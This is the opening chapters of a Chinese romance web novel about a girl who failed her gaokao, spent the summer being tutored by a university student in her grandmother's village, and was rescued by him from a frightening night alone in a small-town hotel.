《谈到了甜甜的恋爱》
1. 第 1 章
七月的烈阳晒得皮肤生疼，左榆感觉热浪一阵接着一阵从水泥路面升腾起来，路两边的树上蝉鸣声不绝于耳，本就是午后静谧时，蝉鸣声显得整个村子更加安静。
“你走慢点，等等我，我这里还有一把太阳伞……”妈妈在她身后喊着。
左榆非但没有停下，反而走得更快了。
她对妈妈的安排心存怨气却也只能默默接受，毕竟考得乱七八糟的高考成绩时刻会提醒她当下的处境以及该有的姿态。
高考结束的第二天，左榆去染了一头粉色的头发，现在，头发掉色变得干枯发黄，倒也与她心烦意乱的心情相映衬。
妈妈快步追上左榆，将手中的太阳伞往左榆那边偏了偏。
“外婆这么疼你，让你来这里住上些日子陪陪她，你怎么就这么不乐意呢？”妈妈发牢骚。
“我什么时候说过不愿意陪外婆？”左榆负气道，她稍稍拉开和妈妈的距离，偏过头看向远处的山。
“那你就是抗拒复读。”妈妈也没好气，“你本科线都没够上，不复读还能怎么办？你要是没有读一个正儿八经的大学，将来出了社会找工作有你后悔的……”
又是这一套说辞，左榆听到耳朵都生茧了。她当然知道妈妈是为了她好，但想到朋友九月就是大学生，自己还要继续读高三，整个人就无比泄气。她想过去读专科，但被妈妈一票否决了。
“你怎么知道我再读一年就能考上本科，说不定考得比今年还要差。”
“那就继续读，直到考上为止。”妈妈一直都是非常强势的人，只要是她决定好的事情，就没有再商量的余地，无论是面对左榆还是其他人。
左榆低头垂眉没有再说话，眼角扫到路边打了蔫的杂草，心中又添了几分怅惘。有时候她在想，是不是妈妈的强势让她更加抵触复读这件事。
水泥路的尽头处就是左榆外婆家。算一算时间，她上次来外婆家还是高二那年的春节。
外婆得知她们要来，一早就开始盼着了，外公还特地去买了一个大西瓜。
“来啦！”坐在外婆家的院子里就能看到水泥路，所以在院子路蒲着扇子的外婆一看到左榆的身影就立即迎了出来，“热不热？”
见到外婆，左榆还是尽力挤出笑容跟外婆打招呼，只是她一笑比哭还难看。
外婆摸了摸左榆的头，笑道：“冰箱里有西瓜，我去拿出来切给你吃。”
“谢谢外婆。”
“妈，这次让小鱼在你这住一段时间，下个月我再来接她。”妈妈跟着外婆去了厨房，“我给她联系了复读的学校，说是八月底才开学。”
“你也别逼得太紧了，差不多就行了，我听她爸说你在家没少批评她，也好，让她在我这里好好静一静。”
“我不逼能行嘛……”妈妈又开始喋喋不休地输出。
凌晨四点才睡，早上八点出门，坐完高铁换大巴，到达外婆家已经是下午两点，左榆早就精疲力尽，索性躺在了那张很有些年份的竹床上。这张竹床陪伴过她很长一段时间的童年时光，夏天躺在上面，非常凉快，唯一的不足就是头发经常会被夹住。
她闭上眼，听着房顶吊扇转动的声音，偶尔有风从屋外吹进来，这种感觉，像是回到了小时候，那时多好，没有那么多烦恼。
左榆正沉浸在这偶得的静谧之中时，屋外传来轻微的步履声。她睁眼，一张过分帅气的脸掉入她的视线：乌黑发亮的短发在夏风中轻轻拂动，一双星眸清澈透亮，高挺的鼻梁平添几分英气，即便是从下往上的死亡角度来看，依旧没有半分瑕疵可言。
短暂的失神后，左榆才意识到自己此刻的姿态，随即坐起身来理了理头发。
“嘉安来啦。”
好在外婆端着西瓜从厨房走出来了，左榆的尴尬才得到了一些缓解。
“刘奶奶，我奶包了饺子，让我送一些过来。”
左榆这才注意到男生的手上还拿着一个大盘子。
外婆忙接过盘子，“哟，你奶奶也太客气了，替我谢谢你奶奶。来，你也来吃几块西瓜。”她说完，放下手中的西瓜，拉来一张凳子放在左榆旁边，示意男生坐一会儿。
男生笑着点头，坐在了左榆旁边。两人的距离很近，左榆立刻就闻到了一阵清新的皂香味，似乎是从男生身上的白T恤上传来的。
“这是你杨婶家的孙子，”外婆向左榆妈妈介绍，“他正在读大学，也好些时候没回来了。”
“是杨婶的孙子呀？上次见，你还在读高中，一晃眼就读大学了，读的是哪所大学？”左榆妈妈挂着笑容问道。
“T大，开学就读大三了。”
“T大？”左榆妈妈震惊之余，眼神里满是羡慕，T大是重点大学中的佼佼者，可以说是所有学子所梦寐的殿堂，在她身边，还没有一个熟人家的孩子读T大的，“那真了不得，不错不错……”
她不停夸赞着，杨嘉安都有些不好意思了。
吃了两块西瓜后，杨嘉安回去了。左榆妈妈目送他出门，还在不住地点头称赞，直到看不见他人后，才收回目光投到左榆身上，心中却突然有了一个主意。
左榆本就累，吃了几块西瓜后就上楼休息了，直到太阳下山才醒来。
她刚下楼就见外婆和妈妈满脸笑意从外面回来，大半个月来，这还是她第一次看到妈妈如此发自肺腑的笑容。
“什么事这么开心？”刚睡醒的左榆晕乎乎的，顺势又躺在了竹床上。
“给你找了个家教，”妈妈说，“你在外婆家这段时间，好好补补课。”
“什么？”左榆腾地坐起来，本来想到复读就已经很烦了，没想到这剩下一个月的暑假也要被剥夺，“我就不能好好休息一个暑假吗？整个高三已经够辛苦了。”
“考得一塌糊涂还好意思说辛苦？你要是真辛苦过，就不至于考成这个样子。”妈妈也是一点就炸。
自从高考分数出来后，她们俩之间就没有平和地说过话，一点点小事都要升级到吵架才结束。
左榆气得不想说话，妈妈则继续唠叨：“人家是T大的高材生，愿意给你补课你都赚到了……”
原来妈妈口中的家教就是刚刚送饺子来的杨嘉安，想到那张导致她瞬间失神的脸，她似乎瞬间没那么抗拒补课了。
“行了，我知道了，我好好补课，可以了吗？”左榆想快点结束妈妈的唠叨。
按照之前的经
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验，妈妈还要再唠叨几轮，左榆才会熄火听从，这次她答应得爽快，妈妈倒一时愣住，不得不把还没说出口的几大段话吞进肚子里。
当天晚上吃完饭后，妈妈和外婆就带着左榆去了杨嘉安家。
他家就在外婆家隔壁，也是一栋两层的自建小洋房，布局与外婆家大抵相同，家里只有杨嘉安以及奶奶和妹妹三人。
妈妈不断对杨家奶奶和杨嘉安说着感谢的话，左榆端正地坐在杨嘉安左边，不时偷偷打量着他，侧颜也是让人叫绝的程度，身上纯棉白T恤领口处洗得有些外翻，由内而外透露出干净。高中三年，她都没见过学校里有像杨嘉安这么帅的男生。
似乎是感受到了左榆的眼神，杨嘉安朝她看去，四目相对的一刻，左榆的脸腾得一下就红了，耳根甚至都开始发烫。
“那就拜托嘉安多费心了，来，这是姑给你的红包，马上就开学了，给自己添点学习用品。”左榆妈妈说着，从随身的包里掏出一个厚厚的红包。
杨家奶奶见状忙起身拦住了左榆妈妈，“你这是干什么，他放假在家也没事，这点小事还给什么红包，不要不要……”
眼看左榆妈妈撕吧不过杨家奶奶，外婆也加入了撕吧行列，三个人你来我往一顿撕吧，最后二比一，左榆妈妈和外婆宣告胜利。
杨奶奶有些不好意思，又将红包塞到了杨嘉安手上。左榆分明看到，原本平整的红包此刻已经全是折痕，顺着红包，她也看到杨嘉安的手，骨节分明、手指修长，很是好看。
“那就这样说好了，小鱼的具体情况让她晚些时候跟你说，你们加个联系方式。”看杨嘉安收下了红包，左榆妈妈才松了口气，仿佛已经预见了左榆的进步。
左榆掏出手机，调出微信码，伸到杨嘉安面前，“你扫我。”她说话时没敢看杨嘉安的脸，害怕跟他对上眼神时又脸红。
“可以了。”杨嘉安添加了左榆。
通讯录里出现一个小红点，左榆点开，杨嘉安的昵称是“Y”，头像似乎就是他的照片，哪怕图很小，依然溢出了帅气的感觉。她没敢点开头像细看，匆匆通过后就将手机收了起来。
“那这个月就麻烦嘉安了。”
离开杨奶奶家前，左榆妈妈又道谢了一番。
晚上十一点，因为下午睡了太久，左榆一点睡意都没有。
她突发奇想拿出手机，点开杨嘉安的微信头像，是一张他坐在夕阳下的侧身照，从角度来看应该是别人拍的，氛围感极强。
收起头像，她犹豫是不是该向杨嘉安介绍一下自己的情况，措辞一番后，她准备发送，又想到这个时间点他是不是已经睡了，会不会打扰到他，一番纠结后，她一字字删掉对话框里打好的文字。
就在她准备关掉对话框时，那边就像有感应似的发来了信息。
【Y：自我介绍还没打完？】
左榆愣了一下，鬼使神差抬头四处看了看，这间房里有监控？
她正准备问时，看到对话框上面显示：对方正在输入中……
所以，她刚刚措辞的时候，杨嘉安也看到了这句提示。想到这，她随手发了一个表情包过去。
【小鱼干儿：晕厥.jpg】
2. 第 2 章
妈妈在外婆家住了三天后就回去了，从她回去的这天起，左榆的暑期补习正式开始，她跟杨嘉安约定好补习时间是每天上午九点到十一点。
起初了几天，杨嘉安让左榆做了些题目，大致摸清了她的水平，高一学得还不错，高二没跟上导致高三复习艰难。杨嘉安在半个小时内将整个高中的知识体系以简单明了的语言向左榆复述了一遍，这不是重要的，重要的是左榆发现自己竟然听进去了而且听懂了。
杨嘉安翻出了自己高中时期的书，让左榆空闲的时候多翻翻，可左榆一翻开书看到那些密密麻麻的笔记，瞬间就打起哈欠来，这让杨嘉安感觉到任重道远。
补习两周后，两人在沟通方面也松弛了不少，但补习的知识点越来越难，尤其是数学，左榆时常脑袋转不过弯来，导致她两眼虽然看着杨嘉安笔下的公式，脑子却空荡失神。在这种时候，杨嘉安就会停下，静静等待左榆回过神来。
“不好意思，我走神了。”杨嘉安一停止说话，左榆就回神了。
“想看电影吗？”
“嗯？”
杨嘉安昨天晚上看到左榆发了一条朋友圈，是一部最近上映的电影的海报，配文是：想看的心情已经达到了巅峰，哭.emoji。
“下午带你去看电影，让你换换脑子。”
“真的吗？”左榆雀跃道，“刚好有部我超想看的电影上映了，什么时候出发？”
“午饭后。”
“好，那我快速把这几道题做完。”左榆瞬间来了激情，拿起笔就进入了专注状态。
她倒是容易满足得很。杨嘉安在一旁静静看着她，嘴角带着一丝不易察觉的微笑。
左榆伏在桌上，时而思考时而奋笔疾书，低头时，几缕发丝垂落在额前。有那么几个瞬间，杨嘉安很想伸手帮她将发丝别到耳后。
“写完啦！你看看。”左榆将写自己的成果递到杨嘉安面前，脸上满是自信。
杨嘉安接过作业本时，手指触碰到了左榆的手，左榆只感觉似乎有电流从她身体穿过，整个人颤了一下。
“很好，全对。”杨嘉安快速检查完，朝左榆竖起大拇指，“今天就到这里，午饭后我们出发去看电影。”
“好。”这似乎是左榆近期心情最好的一次。
走出左榆外婆家后，杨嘉安停在院墙外，低头看着刚才触碰到左榆的手的手指，有些失神。
被电的感觉，不止左榆有。
村子里没有电影院，最近的电影院在市里，需要坐40分钟的小巴。午后日头正烈，去车站要走完一条细长的水泥路。左榆撑了一把太阳伞，几经犹豫后，她靠近杨嘉安身边，将太阳伞往他头顶挪了挪。
杨嘉安发觉了她的动作，“我来。”他接过太阳伞，撑在他俩中间。
这是左榆第一次和杨嘉安靠得这么近，她走路时晃动的手不时碰触到他的衣服，为了减少这种触碰，左榆不得不僵住手臂行走，这导致她整个人看起来非常局促。
这条水泥路细长，宽度大概只够三四个人并排走。眼看就要到车站时，一辆小电驴突然从后面极速开来，看到走在前面的左榆和杨嘉安，开车人也没想着减速，快到两人身边时才急促地按着喇叭。
两人回头时发现时已经避让不及，紧要关头，杨嘉安一手搂住左榆的肩膀往路边的田埂退了大半步，后退时不料踏空，整个人失去平衡掉进了田埂旁边的排水沟里。左榆没有幸免，在惯性的作用下随着杨嘉安一道倒了下去，最后结结实实压在了杨嘉安身上。
所幸的是因为天气炎热许久，排水沟里的水早就干涸了，两人避免了弄湿衣服的状况，且因为掉下去的地方是泥土，也没怎么摔疼。
“没事吧？”杨嘉安问左榆。
“没……没事。”左榆迅速爬了起来，不停拍着身上的泥土来掩饰自己的慌张。
见左榆没事，杨嘉安也是面红耳赤地爬了起来。
这明明只是一次意外，两个人的表现却像是干了什么坏事似的。
“车来了。”
两人又是小跑了几步，这才赶上小巴。
在车上找了座位坐下来后，左榆依旧呼呼喘着大气，炎热的天气加上小跑，着实让人有些吃不消，好在车上的冷气很足，很快缓解了她快要爆炸的脑袋。
杨嘉安坐在她右边靠窗的位置，平时坐车时最爱看窗外风景的她，这次全程低头不敢抬头往外看。然而在低头时，她发现杨嘉安的右边裤脚上有一根草，大概是刚刚掉进排水沟时蹭上的。
她想告诉杨嘉安，却发现他正闭目养神又不好打扰，原本打算作罢，等下车的时候再告诉他，可只要她眼光落在那根草上，强迫症就犯了，总感觉不拍下来的话心里始终痒痒的。
她打算轻轻探过去悄无声息地将那根草拿下来，然而她站起来，小巴车突然来了一个急刹车，她整个人始料不及地摔到了杨嘉安的腿上。
杨嘉安整个人一震，睁开眼睛看着左榆。
“怎么了？”
“你的裤子上有一根草，我本来想弄下来，没想到……”
左榆坐到自己的位置上，杨嘉安将裤子上的草拨去。
一切似乎恢复了正常，只有两颗跳乱的心知道真相。
这是左榆第一次单独跟男生一起看电影，是一部二十年前的经典爱情电影重映。左榆很少去电影院看爱情电影，也不爱看悲剧，但是这部电影因为过于经典不得不看。
网上看过的人都说这是催泪大片，左榆认为自己能够忍住不哭，但是在看到男主死的时候，她的眼泪根本止不住。
看完电影，放映厅内灯光亮起时，杨嘉安看到左榆红红的双眼，“哭了？”
左榆揉了揉眼睛，嘴硬道：“没有。”
可是杨嘉安分明看到她眼角的泪痕。
从电影院出来已经是下午四点多，他们从四楼下到一楼准备去坐车时，两个男生迎面走来跟杨嘉安打招呼。
“杨嘉安，这么巧啊！”
打招呼的两人是杨嘉安的高中同学。
“嗯，巧了。”杨嘉安笑着回道。
“你这是要去哪儿？”
“刚看完电影，准备回家。”
杨嘉安说完这话，两个男生才注意到站在杨嘉安旁边的左榆。
“这位是……女朋友？”
杨嘉安看了左榆一眼，随即说道：“不是。”
“林毓敏今天生日，在三楼的KTV定了包间，一起上去玩玩？”男生说。
“你们玩吧，我就不去了。”
“一起去玩玩嘛，虽然你们分手了，但大家还是同学，还有一些其他同学也在，你就当是同学聚会？”男生继续劝说杨嘉安。
分手？一旁的左榆像是听到了什么不得了的事，竖起耳朵仔细听着。
另一个男生不等他回答，直接
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推着他往电梯走去。左榆站在原地，有些不知所措。
劝说杨嘉安的男生稍显礼貌些，对左榆笑道：“一起去吧，大家都是朋友。”
左榆左右为难，她在这里人生地不熟，要是不跟着杨嘉安，她可能连回去的路都会弄错。可是，杨嘉安的同学聚会，她去的话好像也不是那么合时宜。
在她尴尬地站在原地时，杨嘉安折返回来，“跟我一起。”他说。
四人往KTV走去，那个有礼貌些的男生不时跟杨嘉安说话：“高中毕业后大家就很少见面了，也就你和林毓敏见面的机会多……”
林毓敏……左毓竖着耳朵听着，这个女生应该就是杨嘉安的前女友了？
“你们怎么就分手了呢？”另一个男生不解道。
杨嘉安沉默着走着，没有答话。
“不说这些了，”先前说话的男生接话道，“就当今天是同学聚会，来了十几个人呢，定了个超大的包间，他们应该都到了。”
在服务员的带领下，四个人来到了包间门口。推开门后，男生朝众人喊了一句：“大家快看看是谁来了。”
包间里的人齐刷刷望向门口，见到是杨嘉安，正准备起哄时又看到了杨嘉安旁边的左榆，气氛明显冷却了下来。
“走，进去。”
为了照顾左榆，杨嘉安选择了靠边的位置坐下，“我们坐一会儿就回去。”房内唱歌的声音太大，杨嘉安只能凑近左榆耳边说话。
左榆点了点头。
一个男生拿着两听啤酒走到杨嘉安面前，笑道：“大才子，好久不见，走一杯？”
“我不喝酒。”杨嘉安拒绝。
“你不会是考上了T大就看不起我们这些同学了吧？”男生冷笑。
“怎么会？我看不起谁都不会看不起班长你。”杨嘉安回怼了一句。
“那就来喝一杯。”班长打开了手中的两听啤酒，递了一听到杨嘉安面前。
杨嘉安无奈，站起身准备接过来喝时，一个女生的横到两人面前，夺过啤机，愠色道：“他酒精过敏，我替他喝可以吧？”
一听到这话，原本各玩各的众人都停了下来，目光集中在了杨嘉安这边。
“毓敏威武！”一个声音响起来，众人跟着发出一阵起哄声。
左榆细细观察着面前的一切，确定眼前想替杨嘉安挡酒的女生就是林毓敏。她皮肤白皙，五官秀气，黑发随意束在脑后，穿着一条淡紫色的长裙，散发着清雅的气质。
“不用。”杨嘉安又从林毓敏手中夺回啤酒，仰头一饮而尽。
林毓敏一脸焦急地看着他。
“可以了吗？”杨嘉安看着那位班长，面无表情道。
“可以，非常可以。”他阴阳怪气道，随后也喝光了手中的啤酒，大概是发现大家都看向这里，他又补充了一句，“看着我们干吗，大家继续玩啊！”
“来，继续唱。”立马有人附和道，大家这才转移了注意力，唱歌的继续唱歌，聊天的继续聊天……
“杨嘉安，跟我出来一下，我有话跟你说。”林毓敏脸上写满不快和担忧。
“在这里说就行了。”杨嘉安头也没抬，重新坐回了左榆旁边。
“这里太吵了。”林毓敏说完，跨步到杨嘉安面前，不由分说抓住了他的胳膊想往外拉。
“我出去一会儿。”杨嘉安在左榆耳边留下这句话后，跟着林毓敏出去了。
3. 第 3 章
杨嘉安出去后，包厢里的两个女生互相使了使眼色，随后也出去了。
不一会儿后，其中一个女生回来了，她又叫了几个人出去。
左榆并不知道发生了什么，只发现大家相继都出去了，最后偌大的包厢里只剩下她。
她等了很久不见杨嘉安回来，想给他发信息又怕打扰到他与人叙旧。在她坐立难安时，两个服务员推门走了进来，看到左榆坐在这里，愣了一下。
“不好意思，我们要打扫卫生了。”服务员委婉地提醒左榆。
“啊？”左榆懵了，虽然还没搞清楚状况，但这个情况只能先出去，“哦，不好意思啊。”她逃也似的离开了包厢，往外面走去。
可是走出KTV门口后，她又开始迷茫了，不知道接下来该往哪里走，最后坐在了旁边一家餐厅摆在外面的等候区，看着来来往往的人，顿生几丝委屈。
“说了这么多，其实我想说的是，我们和好吧，好吗？”
在靠近洗手间的通道尽头，林毓敏带着祈求的目光凝视着杨嘉安。
林毓敏这么高傲的一个人，杨嘉安从前何曾见过她这般妥协的眼神。
“不好。”杨嘉安扭头望向玻璃窗外，耳边传来邻近包厢里的唱歌声，是一个女声唱着失恋情歌，“我说过，我们只有一次机会，最先放弃的人是你。”
“我知道是我错了，我现在后悔了，我们忘掉过去，重新开心吧。”林毓敏语气变得急切起来。
“不可能了。”杨嘉安淡淡答道，“今天你生日，不要冷落了陪你过生日的人。”
见杨嘉安想走，林毓敏从他身后紧紧抱住了他。
“哪怕是我这么低三下气地求你，你也不能原谅我吗？”
“像你这么优秀的人，不必低三下气去求人。”杨嘉安掰开林毓敏的手，“生日快乐。”
他准备回到包厢后带左榆回去，刚走几步就被突然出现的一个女同学往另一个包厢带：“刚刚那个包厢的设备出了问题，我们换了另外一个包厢，在那边。”
杨嘉安没有疑虑，跟着女生去了另外一个包厢。包厢里的同学们照旧各自玩着，在扫视一圈后，他没有看到左榆。
“她呢？”杨嘉安问带他进来的女同学。
“毓敏？”女同学明知故问。
“跟我一起来的女生。”
“噢，她啊，她说她先回去了。”
“回去？”杨嘉安这才警觉起来，“她说的？”
“我怎么知道，她就说她走了。”女同学不屑道，“走就走了呗，她又不是我们同学，在这里本来就尴尬。”
杨嘉安掏出手机，正想给左榆发微信，却刚好收到她发过来的信息。
【小鱼干儿：我自己回去啦。】
【Y：你现在在哪里，等我，我跟你一起回去。】
【小鱼干儿：不用啦，我已经上了小巴车，你跟你的同学好好聚聚。】
【Y：那你自己注意安全，到家后给我发条信息。】
【小鱼干儿：好】
发完信息，左榆打开地图搜索车站该怎么走，她大概记得来的时候，转了一次车，从搜索结果中确认了个大概后，起身离开。
走出商场，她被西斜的太阳照得睁不开眼，夏季的阳光就是这样，就算到了下午这个时间点，仍旧晃眼得很。
左榆拿着手机，看着地图上面的导航箭头原地转了一圈后才确定最终方向，朝第一个车站走去。
车站距离商场不远，走了大概十分钟就到了，左榆本以为可以顺利上车、换乘、坐车回家，没想到在站台坐等了半个小时才等到目标公交车。
差不多到了下班晚高峰时间，车上的乘客人挤人，左榆不停抬头看车内张贴的行车路线图，每到一站就数数还剩几站，大约二十分钟后，左榆到达了小巴客运站。其实这一路的距离并不算远，只是公交车走走停停花费了些时间。
她艰难地从车里挤出来，感叹为什么这么多人，到这个时候，左榆还没有意识到问题的严重性。
在客运站里一番寻找后，她锁定了要坐的车的停靠位置，但没有看到有车，心想大概是车还没来，就坐在一旁的等候区等车。
等候期间，她才有时间拿出手机，看到一条未读危险，是杨嘉安发来的。
【Y：到哪里了？大概什么时候到家？】
左榆思索片刻后，没有回复杨嘉安。她关闭了对话框，从包里拿出耳机塞进耳朵里，玩游戏打发时间。
不知不觉，天色渐渐暗了下来。左榆看了看时间，将近晚上六点半了，她在这里等了半个多小时却一辆车都没看到，因为担心是自己弄错了地方，她随机找了个清洁工阿姨询问。
“啊？今天没车了，最后一班车是六点十分。”阿姨耐心说道。
“什么？不对呀，我刚刚一直坐在这里等车，没看到有车来。”左榆有些慌神，要是真的错过了末班车，就意味着她要在这个陌生的地方独自待上一晚，心里多少有些害怕。
“你要在外面等，有时候车不会开进来的。”阿姨指着客运站的大门处说道。
“那还有什么其他车到我说的地方吗？”
阿姨想了想，最后摇了摇头，“没了，要么你拦辆出租车问问，看司机愿不愿意载你过去。”
“好的，谢谢阿姨。”
这里是一座小城，交通方面没有大城市便利，左榆拦了好几辆出租车，一听到目的地是乡下都不愿意载她。
夜色降临，左榆看着街道两边亮起的路灯，很无助。这时，一张“旅馆住宿”的广告牌进入她的视线，再三思索后，她决定在这里住一晚。
“那个，不好意思，我想问一下，”左榆通过狭窄的楼梯走上二楼，来到旅馆的前台，细声细气对坐在前台的女生说道，“我没带身份证，可以开一间房吗？”
女生正拿着手机跟人发语音，似乎是料到什么开心的事，嘴角还挂着笑容。她打量了一下左榆，问：“成年了吗？”
“成年了，我又身份证照片。”左榆说着，连忙从手机相册里找出以前拍的身份证。
前台女生随意瞄了一眼左榆的手机，左手拿着手机继续发着语音，右手点了点鼠标，“房费180，怎么支付？”
“手机支付。”
付款后，女生递给左榆一张房卡，头也没抬，继续跟人聊天。
左榆根据房卡上面贴着的房间号找到了房间，推开门，一股霉味扑鼻而来，房间的整体设施比较老旧，看起来不是很干净，白床单上还留着几处不明的污渍。她不喜欢这样的旅馆，但不得不应付一晚。
【Y：还没到家吗？】
杨嘉安从包厢里出来，给左榆发了条微信，算算时间，她现在应该到家了。
“我跟你吐槽一件事。”
“什么事？”
转角处有两个服务员在聊天。
“301包厢那群人真搞笑，换了包厢都走了，把一个女生独自留在包厢里，也不跟人说，要不是我进去打扫卫生的时候提醒她，估计她还傻傻坐在那里等。”
“是301转到303的那群客人吗？”
“没错，就是他们。经理本来不给他们转的，结果那个女生非说301包厢的设备不好，一定要换一间。”
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两人的聊天传进了杨嘉安的耳朵里。
“她是故意排挤那个女生的吧？”
“我觉得是。”
杨嘉安听完，眉头微蹙，收起手机往303包厢走去。
“不好意思各位，我先走了。”杨嘉安推开门，跟里面的人打了声招呼就要离开。
“马上就要切蛋糕了，别走啊。”之前带杨嘉安来303包厢的女生急忙上前拽住了杨嘉安，“毓敏还等着你唱生日歌呢。”
杨嘉安用力甩开女生的手，满脸怒意盯着女生：“有意思吗？”
女生懵了一下，尴尬道：“你这是什么意思？”
“之前那个包厢的设备真的有问题吗？”
杨嘉安不想把话说得太明白，不过女生马上就明白了杨嘉安的意思，心虚使她继续为自己辩驳。
“本来就是有点问题。”
“那为什么把她一个人留在那边，没有人告诉她换了包厢？”
女生见杨嘉安处处维护左榆，心虚变成了恼怒：“就不告诉她，怎么了？在座的这么多人，她认识谁？我们不想跟一个陌生人一起唱歌，不行吗？杨嘉安，她是你什么人啊，你这么护着她？毓敏天天都在想着怎么跟你和好，你这么快就移情别恋了，你对得起她吗？”
杨嘉安冷笑一声，“到底是谁对不起谁？”说罢，他离开了包厢。
小旅馆里。
左榆吃完外卖晚餐，刚准备躺床上休息一会儿，门外突然传来急剧的敲门声，同时伴随着一个男子的叫骂声。第一次遇到这种情况，不好的联想瞬间填满了她的脑子，吓得心脏怦怦乱跳。惊慌之余，她反锁好房门后，又将房间内唯一可以移动的小茶几推到门后挡住。
叫骂声越来越大，敲门变成了撞门，左榆吓得瑟瑟发抖，她拿起手机准备打电话报警时，杨嘉安打来了语音电话。
“救命！”左榆一时只想到这两个字。
电话那端的杨嘉安听出了不对劲，忙问：“发生什么事了？你现在在哪里？”
“我在一家旅馆，有一个人在外面疯狂撞门。”
“在哪家旅馆？”
“在客运站旁边，我给你发定位。”
“嗯，我马上过去。”
挂掉电话后，门外的撞门声还没停止，她正打算报警时，外面传来一个女声喝止了撞门声。
“喂，你干吗呢？”
“我找我老婆关你屁事。”
“什么你老婆，里面住着一个小姑娘，人家才刚成年。快给我滚，再闹事，我就报警了。”
左榆听到外面的说话声。
“你他妈少给她打掩护，你们这些人不都是顶着旅馆的名字干些见不得人的买卖，警察来了还不一定帮谁。”
“我劝你嘴巴放干净点，我这里是正经旅馆，你再不走，我就真报警了。”
男人还在喋喋不休，女生不得不报警。
大概十分钟后，左榆听到一阵脚步声，门外再次传来敲门声。
“你好，我们是警察，麻烦开一下门。”
左榆移开门后的小茶几，但她不确定门外的人是不是真的警察，门上没有猫眼，她看不见外面的情况。
“小鱼！”
是杨嘉安的声音。
就像一束光线射来，让黑暗中慌乱不安的左榆瞬间安定下来。
左榆打开门时，杨嘉安刚好穿过众人走到门口，她下意识紧紧抱住了杨嘉安，如同劫后余生般，在这一刻，唯有杨嘉安能让她有安全感。
“对不起。”杨嘉安抚着左榆的后脑勺，低声道。
对不起。
让你委屈了。
4. 第 4 章
经过警察询问后得知，确实是男子找错的地方，男子向左榆和旅馆道了歉，左榆也没有追究。
“我们走。”
杨嘉安不放心左榆继续独自待在旅馆里。
“去哪儿？现在已经没有车回去了。”
“去我家。”
“你家？”
“嗯。”
两人走出旅馆后，杨嘉安拦了一辆出租车。上车后，左榆看着车窗外的小城夜景，心境已经与一个小时前完全不一样，没有了害怕与担忧，心里稳稳的。
十几分钟后，出租车停在了一处小区门口。这里的住宅与一路上左榆所看到的不太一样，并非又高又新的楼房，而是一排排独栋的别墅，从外观来看，似乎有些年头了。
左榆一路跟着杨嘉安，最后来到了一栋别墅门口，屋内漆黑一片，没有点灯。
“进来吧。”杨嘉安进屋开了灯后，招呼左榆进去。
“这是你家啊？”
“嗯。放心，家里没有其他人。”杨嘉安看出了左榆的窘迫与担忧。
进门后，杨嘉安给左榆找了双拖鞋。
“你先坐一会儿。”杨嘉安让左榆在客厅坐会儿，自己上了楼。
左榆环顾了整个房子，房间内的陈设非常简洁，几乎没有摆放多余的东西。家私虽然有岁月感，但是很干净。
“你晚上洗澡吗？”杨嘉安不知什么时候下了楼，手里拿着两件衣服。
本就是夏天，烈阳下没少出汗，如果不洗澡的话，左榆觉得自己晚上肯定睡不好。
“洗。”
“我找了两件衣服，可能不太合适，你将就一下？”杨嘉安说着，将手中的衣服递给左榆，“是我妈以前的衣服。”
“嗯，谢谢。”
洗完澡后，左榆想问问杨嘉安洗衣机在哪里，她想把衣服给洗了，以免明天没衣服穿。她走到客厅，却看到杨嘉安正斜靠在沙发上发呆，似乎是有什么心事。
左榆不知道该不该打扰他，犹豫着要不要走过去时，杨嘉安发现了她。
“洗好了？”
“嗯。”
左榆答着，走到杨嘉安面前。
“有心事吗？”
杨嘉安欲言又止。
“我今天是不是打扰到你的同学聚会了？那个过生日的女生，是你女朋友吗？”
杨嘉安低头沉默片刻后，说：“曾经我以为是，但其实并不是，以后不会再是。”
左榆没听明白，但感觉他并不是很想谈论这些，就没有继续问下去。
“你坐一会儿，我去洗澡。”
“嗯。”
左榆坐在杨嘉安刚刚坐着的地方，回想这大半天发生的事，明明不过是几个小时的时间，她却感觉非常漫长，想着想着，疲累感袭来，她干脆窝在了沙发上。
杨嘉安洗完澡出来时，左榆已经窝在沙发上睡着了。他没有惊醒她，调暗了客厅的灯光，调高了点空调温度，又给她盖上了一条薄毯子。
他没有回房间睡觉，轻轻坐在左榆对面，静静看着她。
“跟屁虫，你果然是一点都不记得我了。”
这一夜，似乎发生了很多事情，但又好像什么都没发生。但有一点可以确定的是，左榆对杨嘉安产生了一些些依赖感。
第二天，两人吃完早餐后就坐车回了。
虽然左榆前一天晚上已经跟外婆说了不回来，但外婆心里始终还是担心的，见左榆回来，外婆立即问她昨天晚上干什么去了，跟什么人在一起。
杨嘉安见状，主动向左榆外婆解释了情况。杨嘉安是左榆外婆看着长大的，自然知道他的为人，听他那么一说，也就不追究了。
这件事就这么过去了。
左榆算了算，距离自己离开外婆家最多还有三周的时间。
三周的时间不算短，但脑子里想到杨嘉安时，她还是希望时间再过慢一点。
“这周六我有点事，补习暂停一天。”
周四上午补习结束时，杨嘉安向左榆“请假。”
“嗯，好。”
“你的数学进步很大，继续加油。”
得了杨嘉安的夸奖，左榆下午做题的时候精神抖擞，一张试题很快就完成了。
【AAA防盗窗定做：鱼啊鱼，你不在的日子，我可太无聊了。】
好友陶然发来一条微信。
【小鱼干儿：那你来找我玩啊，偷笑.jpg】
左榆特地发了个定位过去。
【AAA防盗窗定做：也不是不可以，这周六是七夕，有人早就想见你了。】
这周六是七夕？
左榆看了看手机上的日历，果然是。她脑中突然想到杨嘉安上午说周六有事不补习，原来如此。
【AAA防盗窗定做：怎么不说话了？】
【AAA防盗窗定做：张星辰老早之前就说要去找你，我去问问他。宋浩然之前想约我出去玩，被我拒绝了。】
……
陶然连着发来几条微信，左榆的思绪却早就飘远。她在想，杨嘉安说的有事，是不是七夕要跟那个女生约会。想到这些，她整个人莫名烦躁起来，微信也不想回。
又来了一条微信，左榆以为是陶然，点开后发现是张星辰。
张星辰、陶然，以及陶然所提到的宋浩然都是左榆的高中同学，从高一到高三都是一个班，四个人的关系非常好。
【Z。：七夕见。】
【小鱼干儿：？】
【小鱼干儿：？？】
【小鱼干儿：你不是来真的吧？】
张星辰迟迟没有回复，陶然突然在他们四个人的微信群里晒了车票的截图，左榆震惊，连发几个能表达自己此刻内心的表情包到群里。
【AAA防盗窗定做：我们周五到，浩然已经在看酒店了，你推荐我们住哪里？】
【小鱼干儿：大哥大姐，我不知道啊。】
左榆要是能知道，上次也不至于在旅馆里遇到那样的事。
【AAA防盗窗定做：那@浩然自己看着定吧】
【浩然：嗯。】
【小鱼干儿：不是，你们真的要过来啊？】
左榆本来只是开个玩笑。
【Z。：当然是真的，早就想见你了。】
